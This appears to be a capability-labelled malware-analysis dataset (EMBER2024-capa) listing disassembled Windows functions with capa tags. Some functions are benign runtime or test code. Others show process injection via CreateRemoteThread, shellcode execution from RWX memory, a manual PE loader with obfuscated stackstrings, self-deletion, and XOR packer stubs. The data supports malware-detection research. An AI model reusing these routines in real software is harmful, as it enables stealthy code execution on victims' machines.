joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4013b5
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
lea edi, [esi + 0x14]
mov dword [esi], 0x4031a4
cmp dword [edi], ebx
je 0x40145a
push str._mozilla.org_observer_service_1
mov edx, 0x403508
mov dword [ebp - 4], ebx
lea ecx, [ebp - 4]
call fcn.004011b8
mov eax, dword [ebp - 4]
test eax, eax
je 0x40143a
mov ecx, dword [eax]
push ebx
push str.profile_change_net_teardown
push ebx
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push ebx
push str.profile_change_teardown
push ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push ebx
push str.profile_before_change
push ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push ebx
push str.profile_before_change_qm
push ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push ebx
push str.profile_before_change_telemetry
push ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [edi]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x4c]
xor edx, edx
mov ecx, edi
call fcn.00401150
mov eax, dword [ebp - 4]
test eax, eax
je 0x40145a
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x401491
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
push ebx
mov dword [esi + 0xc], ebx
call dword [sym.imp.xul.dll_NS_ShutdownXPCOM]
pop ecx
mov ecx, eax
shr ecx, 0x1f
test cl, 1
je 0x401491
push eax
push str.XPCOM_shutdown_failed_with_code_0x_x
call fcn.00401ace
pop ecx
pop ecx
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push dword [esi + 8]
push str.Finished_running__s_tests._n
call fcn.00401b8b
pop ecx
pop ecx
mov ecx, dword [esi + 0x1c]
test ecx, ecx
je 0x4014ad
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x4014ba
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [edi]
test ecx, ecx
je 0x4014c6
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [esi + 0x10]
pop edi
pop esi
pop ebx
test ecx, ecx
je 0x4014d6
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov esp, ebp
pop ebp
ret
Function at 0x401afa
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
cmp dword [ebp + 8], 2
jge 0x401b19
push str.Usage:_TestGetURL__url__n
call fcn.00401b8b
pop ecx
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push edi
xor edi, edi
lea ecx, [ebp - 0x2c]
push edi
push str.XMLHttpRequest
call fcn.00401347
cmp dword [ebp - 0x20], edi
jne 0x401b3c
lea ecx, [ebp - 0x2c]
call fcn.004013b5
xor eax, eax
inc eax
jmp 0x401b86
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [eax + 4]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.xul.dll_NS_CStringContainerInit]
push 0xffffffffffffffff
lea eax, [ebp - 0xc]
push esi
push eax
call dword [sym.imp.xul.dll_NS_CStringSetData]
lea eax, [ebp - 0xc]
push eax
call fcn.0040189b
shr eax, 0x1f
test al, 1
push 1
pop eax
cmovne edi, eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.xul.dll_NS_CStringContainerFinish]
add esp, 0x18
lea ecx, [ebp - 0x2c]
call fcn.004013b5
mov eax, edi
pop esi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x818058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x8181a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x81807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x81806a
add dl, dl
jne 0x818089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8180dc
xor eax, eax
add dl, dl
jne 0x818096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x81817d
add dl, dl
jne 0x8180a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8180b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8180bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8180c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8180d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x818075
mov eax, 1
add dl, dl
jne 0x8180ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8180f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8180e1
sub eax, ebx
mov ebx, 1
jne 0x818128
mov ecx, 1
add dl, dl
jne 0x81810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x818119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x818105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x818075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x81813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x81814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x818136
cmp eax, 0x7d00
jae 0x81816d
cmp eax, 0x500
jb 0x818168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x818075
cmp eax, 0x7f
ja 0x818170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x818075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x81819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x818075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40186a
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
add esp, 0xfffffe04
mov eax, dword [0x40a310]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.00401844
mov edi, eax
pop ecx
mov dword [ebp - 0x1fc], edi
xor ebx, ebx
cmp edi, ebx
je 0x401a0a
push 3
call fcn.00403627
cmp eax, 1
pop ecx
je 0x4019b6
push 3
call fcn.00403627
test eax, eax
pop ecx
jne 0x4018c8
cmp dword [section..data], 1
je 0x4019b6
cmp esi, 0xfc
je 0x401a0a
push str.Runtime_Error__n_nProgram:
push 0x314
mov edi, 0x40ab80
push edi
call fcn.004035c4
sub esp, 0xfffffff4
test eax, eax
jne 0x4019ac
push 0x104
mov esi, 0x40abb2
push esi
push ebx
mov word [0x40adba], ax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, 0x2fb
test eax, eax
jne 0x401934
push str._program_name_unknown_
push ebx
push esi
call fcn.004035c4
sub esp, 0xfffffff4
test eax, eax
je 0x401934
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00402ecc
push esi
call fcn.004035a9
pop ecx
inc eax
cmp eax, 0x3c
jbe 0x40196b
push esi
call fcn.004035a9
lea eax, [eax*2 + 0x40ab3c]
mov ecx, eax
sub ecx, esi
push 3
sar ecx, 1
push 0x407b5c
sub ebx, ecx
push ebx
push eax
call fcn.004034dc
add esp, 0x14
test eax, eax
jne 0x401928
push 0x407b54
mov esi, 0x314
push esi
push edi
call fcn.00403467
sub esp, 0xfffffff4
or eax, eax
jne 0x401928
push dword [ebp - 0x1fc]
push esi
push edi
call fcn.00403467
sub esp, 0xfffffff4
or eax, eax
jne 0x401928
push 0x12010
push 0x407b08
push edi
call fcn.004032fb
sub esp, 0xfffffff4
jmp 0x401a0a
push ebx
push ebx
push ebx
push ebx
push ebx
jmp 0x40192f
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
cmp esi, ebx
je 0x401a0a
cmp esi, 0xffffffff
je 0x401a0a
xor eax, eax
mov cl, byte [edi + eax*2]
mov byte [ebp + eax - 0x1f8], cl
cmp word [edi + eax*2], bx
je 0x4019e3
inc eax
cmp eax, 0x1f4
jb 0x4019cb
lea edi, [ebp - 0x1fc]
lea eax, [ebp - 0x1f8]
push ebx
push edi
push eax
mov byte [ebp - 5], bl
call fcn.00403270
pop ecx
push eax
lea eax, [ebp - 0x1f8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
pop ebx
call fcn.00403666
leave
ret
Function at 0x401f2c
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov edi, edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
jne 0x401f48
xor eax, eax
jmp 0x401fbf
cmp word [esi], bx
je 0x401f5d
add eax, 2
cmp word [eax], bx
jne 0x401f4d
add eax, 2
cmp word [eax], bx
jne 0x401f4d
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
push ebx
push ebx
sub eax, esi
push ebx
sar eax, 1
inc eax
push eax
push esi
push ebx
push ebx
mov dword [ebp - 0xc], eax
call edi
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x401fb5
push eax
call fcn.00403ee4
cmp eax, ebx
pop ecx
mov dword [ebp - 4], eax
je 0x401fb5
push ebx
push ebx
push dword [ebp - 8]
push eax
push dword [ebp - 0xc]
push esi
push ebx
push ebx
call edi
test eax, eax
jne 0x401fa9
push dword [ebp - 4]
call fcn.00403e4b
pop ecx
mov dword [ebp - 4], ebx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, dword [ebp - 4]
jmp 0x401fbe
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402ecc
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push esi
mov esi, 0xc0000417
push 1
push esi
push 2
call fcn.00402da3
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x403120
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5a4d
mov edi, edi
mov ecx, dword [ebp + 8]
cmp word [ecx], ax
je 0x403136
pop ebp
xor eax, eax
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x403132
mov ecx, 0x10b
xor edx, edx
cmp word [eax + 0x18], cx
sete dl
mov eax, edx
pop ebp
ret

Function at 0x403160
Capabilities:
Enumerate pe sections

Disassembly:
mov ebp, ebp
push esi
mov ecx, esp
mov esi, dword [ecx + 8]
mov edx, dword [esi + 0x3c]
add edx, esi
xor esi, esi
movzx eax, word [edx + 0x14]
lea eax, [eax + edx + 0x18]
push ebx
push edi
movzx edi, word [edx + 6]
push ebp
test edi, edi
je 0x40319d
mov ebp, dword [ecx + 0xc]
mov ecx, dword [eax + 0xc]
cmp ebp, ecx
jb 0x403195
mov edx, dword [eax + 8]
add edx, ecx
cmp ebp, edx
jb 0x40319f
inc esi
add eax, 0x28
cmp esi, edi
jb 0x403185
xor eax, eax
pop ebp
pop edi
pop ebx
pop esi
ret
Function at 0x4032fb
Capabilities:
Link many functions at runtime

Disassembly:
mov esi, esi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40a310]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push edi
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov dword [ebp - 0x1c], eax
call fcn.00402256
and dword [ebp - 0x14], 0
cmp dword [0x40b43c], 0
mov dword [ebp - 0x18], eax
jne 0x4033ae
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
or edi, edi
je 0x403456
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push edi
call esi
or eax, eax
je 0x403456
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x40b43c], eax
call esi
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x40b440], eax
call esi
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x40b444], eax
call esi
push eax
call ebx
mov dword [0x40b44c], eax
test eax, eax
je 0x4033ae
push str.GetProcessWindowStation
push edi
call esi
push eax
call ebx
mov dword [0x40b448], eax
mov eax, dword [0x40b448]
mov ecx, dword [ebp - 0x18]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x403407
cmp dword [0x40b44c], ecx
je 0x403407
push eax
call ebx
push dword [0x40b44c]
mov esi, eax
call ebx
mov edi, eax
test esi, esi
je 0x403407
or edi, edi
je 0x403407
call esi
or eax, eax
je 0x4033fe
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call edi
or eax, eax
je 0x4033fe
test byte [ebp - 8], 1
jne 0x403407
or dword [ebp + 0x10], 0x200000
jmp 0x40343a
mov eax, dword [0x40b440]
cmp eax, dword [ebp - 0x18]
je 0x40343a
push eax
call ebx
or eax, eax
je 0x40343a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40343a
mov eax, dword [0x40b444]
cmp eax, dword [ebp - 0x18]
je 0x40343a
push eax
call ebx
or eax, eax
je 0x40343a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40b43c]
call ebx
or eax, eax
je 0x403456
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x403458
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
pop ebx
pop edi
call fcn.00403666
leave
ret

Function at 0x403666
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a310]
jne 0x403670
repz ret
jmp fcn.004048d6
Function at 0x4048d6
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov edi, edi
add esp, 0xfffffcd8
mov dword [0x40b578], eax
mov dword [0x40b574], ecx
mov dword [0x40b570], edx
mov dword [0x40b56c], ebx
mov dword [0x40b568], esi
mov dword [0x40b564], edi
mov word [0x40b590], ss
mov word [0x40b584], cs
mov word [0x40b560], ds
mov word [0x40b55c], es
mov word [0x40b558], fs
mov word [0x40b554], gs
pushfd
pop dword [0x40b588]
mov eax, dword [ebp]
mov dword [0x40b57c], eax
mov eax, dword [ebp + 4]
mov dword [0x40b580], eax
lea eax, [ebp + 8]
mov dword [0x40b58c], eax
mov ebx, dword [ebp - 0x320]
mov dword [0x40b4c8], 0x10001
mov eax, dword [0x40b580]
mov dword [0x40b47c], eax
mov dword [0x40b470], 0xc0000409
mov dword [0x40b474], 1
mov eax, dword [0x40a310]
mov dword [ebp - 0x328], eax
mov eax, dword [0x40a314]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x40b4c0], eax
push 1
call fcn.00404811
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x408080
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x40b4c0], 0
jne 0x4049c8
push 1
call fcn.00404811
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret
Function at 0x4057a0
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0xc]
sub esp, 0x30
push ebx
push esi
push edi
push eax
call fcn.00405f60
push 0x4088f8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea edx, [ebp - 0x2c]
mov edi, eax
mov ecx, dword [edi + 0x3c]
mov esi, dword [ecx + edi + 0x78]
add esi, edi
lea ebx, [ecx + edi + 0x78]
lea ecx, [ebp - 0xc]
push edx
push esi
push ebx
push edi
mov dword [ebp - 0x2c], 0x74726956
mov dword [ebp - 0x28], 0x416c6175
mov dword [ebp - 0x24], 0x636f6c6c
mov byte [ebp - 0x20], 0
call fcn.00405ec0
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x2c]
push eax
push esi
push ebx
push edi
mov dword [ebp - 0x2c], 0x74726956
mov dword [ebp - 0x28], 0x466c6175
mov dword [ebp - 0x24], 0x656572
call fcn.00405ec0
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x1000
push 0
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov edx, 0x1000
mov eax, dword [ebp + 8]
sub eax, esi
mov ecx, esi
mov bl, byte [eax + ecx]
mov byte [ecx], bl
inc ecx
dec edx
jne 0x405842
mov edx, 0x1000
mov ecx, esi
call fcn.00405760
push 0x200
push 0
push edi
mov dword [0x40b7c4], esi
mov dword [0x40b7c8], 0x1000
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x40b7d0]
push 0x100
push eax
push ecx
mov dword [0x40b7cc], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [ebp - 8], eax
push 0x40
add eax, 0x18
mov dword [ebp + 8], eax
mov eax, dword [eax + 0x38]
push 0x3000
push eax
push 0
call dword [ebp - 0x10]
mov ebx, eax
or ebx, ebx
je 0x405989
mov edi, ebx
push esi
mov eax, 0x40
call fcn.00406090
mov ecx, dword [ebp - 8]
mov edi, dword [ebx + 0x3c]
add edi, ebx
movzx eax, word [ecx + 0x14]
push ecx
call fcn.00406090
mov ecx, dword [ebp - 8]
movzx edx, word [edi + 0x14]
movzx eax, word [ecx + 0x14]
lea edi, [edx + edi + 0x18]
movzx ecx, word [ecx + 6]
add eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
or ecx, ecx
je 0x40594e
sub eax, edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], ecx
jmp 0x405903
mov eax, dword [ebp - 0x10]
add eax, edi
push eax
mov eax, 0x28
call fcn.00406090
add edi, 0x28
dec dword [ebp - 8]
jne 0x405900
mov ecx, dword [ebp - 0x18]
test ecx, ecx
mov eax, dword [ebp - 0x14]
je 0x40594e
add eax, 0x14
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], ecx
jmp 0x405933
mov eax, dword [ebp - 8]
mov edi, dword [eax - 8]
mov ecx, dword [eax]
add ecx, esi
mov eax, dword [eax - 4]
add edi, ebx
push ecx
call fcn.00406090
add dword [ebp - 8], 0x28
dec dword [ebp - 0x10]
jne 0x405930
mov eax, dword [ebp + 8]
push ebx
call fcn.00405e10
mov edi, ebx
mov edx, dword [ebp + 8]
push edx
call fcn.00405d80
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0xc]
mov edi, dword [ebp + 8]
mov ecx, dword [edi + 0x10]
mov dword [eax + 8], ebx
add ecx, ebx
mov eax, dword [edx + 0xc]
mov dword [eax + 0x18], ebx
mov dword [eax + 0x1c], ecx
call ecx
push 0x8000
push 0
push ebx
call dword [ebp - 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x63b8170c
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x63b81a0a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret

Function at 0x63b81a8c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x63b81e20
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x63b8603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x63b86034]
sub esp, 4
test ebx, ebx
je 0x63b81e6b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x63b81e64
test esi, esi
je 0x63b81e64
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x63b81e40
mov dword [esp], 0x63b8603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x63b82050
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x63b84174
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x63b820a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x63b82178
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x63b820de
cmp eax, 4
jne 0x63b82100
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x63b820ee
cmp edx, 4
je 0x63b820ee
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.63b82050
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
mov ecx, 0x4e684a5b
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x42f200bf
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219